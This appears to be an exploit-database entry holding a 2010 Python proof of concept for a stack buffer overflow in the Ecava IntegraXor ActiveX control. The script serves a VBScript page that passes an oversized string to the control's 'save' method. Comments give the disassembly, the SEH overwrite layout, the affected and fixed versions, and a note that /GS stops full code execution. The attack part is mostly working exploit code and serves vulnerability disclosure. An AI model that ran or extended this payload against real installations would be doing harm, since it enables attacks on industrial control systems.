Ecava IntegraXor Remote - ActiveX Buffer Overflow (PoC)

🗓️ 18 Dec 2010 00:00:00Reported by Jeremy BrownType

A buffer overflow vulnerability in Ecava IntegraXor allows an attacker to trigger a stack-based buffer overflow by passing an overly large value to the "save" method

#!/usr/bin/python
# intx.py
# Ecava IntegraXor Remote ActiveX Buffer Overflow PoC
# Jeremy Brown
# December 2010
# http://www.integraxor.com/
#
# There is a stack-based buffer overflow in IntegraXor that can be triggered
# by passing an overly large value to the "save" method of the IntegraXor.Project
# control located in igcomm.dll. This control is marked both safe for scripting
# and safe for initialization.
#
# .text:100027C1                 push    eax             ; lpString2
# .text:100027C2                 lea     eax, [esp+84Ch+String1]
# .text:100027C6                 push    eax             ; lpString1
# .text:100027C7                 call    ds:lstrcpyW
# .text:100027CD                 lea     ecx, [esp+848h+String1]
# .text:100027D1                 push    ecx
# .text:100027D2                 call    SplitPath
# .text:100027D7                 add     esp, 4
# .text:100027DA                 lea     ecx, [esp+848h+var_83C]
# .text:100027DE                 call    ds:??0?$basic_string@_WU?$char<truncated>
# .text:100027E4                 cmp     dword ptr [esi+20h], 8
# .text:100027E8                 jb      short loc_100027EF
# .text:100027EA                 mov     esi, [esi+0Ch]
# .text:100027ED                 jmp     short loc_100027F2
#
# The vulnerable code in this block passes String1 (dest) and lpString2 (src)
# to lstrcpyW() without validating the length of lpString2. lstrcpyW() then
# copies lpString2 byte for byte into String1 (1024 bytes wchar buffer) and
# adds a terminating NULL byte to the end.
#
# If you attach a debugger and set a breakpoint on 100027CD, you can see an
# exception registration record is stored before the return address:
#
# ESP+83C  > 00420042  B.B.  Pointer to next SEH record
# ESP+840  > 00420042  B.B.  SE handler
# ESP+844  > FFFF0000  ..��
# ESP+848  > 10007916  xxxx  RETURN to igcom.10007916 from igcom.10002770
#
# I wasn't able to find any useable unicode compatible PPRs. We can overwrite
# the return address, but it will exit with a c0000409 code (/GS exception). 
#
# Tested Ecava IntegraXor 3.5.3900.5 on Windows
#
# Fixed version: 3.5.3900.10
#

import sys
import socket

resp="""
<html>
<body>
<object id="target" classid="clsid:{520F4CFD-61C6-4EED-8004-C26D514D3D19}"></object>
<script language="vbscript">

data="IntegraXor"
filepath=String(1038,"B")

target.save data,filepath

</script>
</body>
</html>
"""

port=80

try:
     sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     sock.bind(("",port))
     sock.listen(1)
     conn,addr=sock.accept()

except IOError,e:
     print e

print "Client at %s connected\n"%addr[0]

req=conn.recv(1024)

print "Sending data..."
conn.send(resp)
print "Done"
conn.close()

18 Dec 2010 00:00Current

7High risk

Vulners AI Score7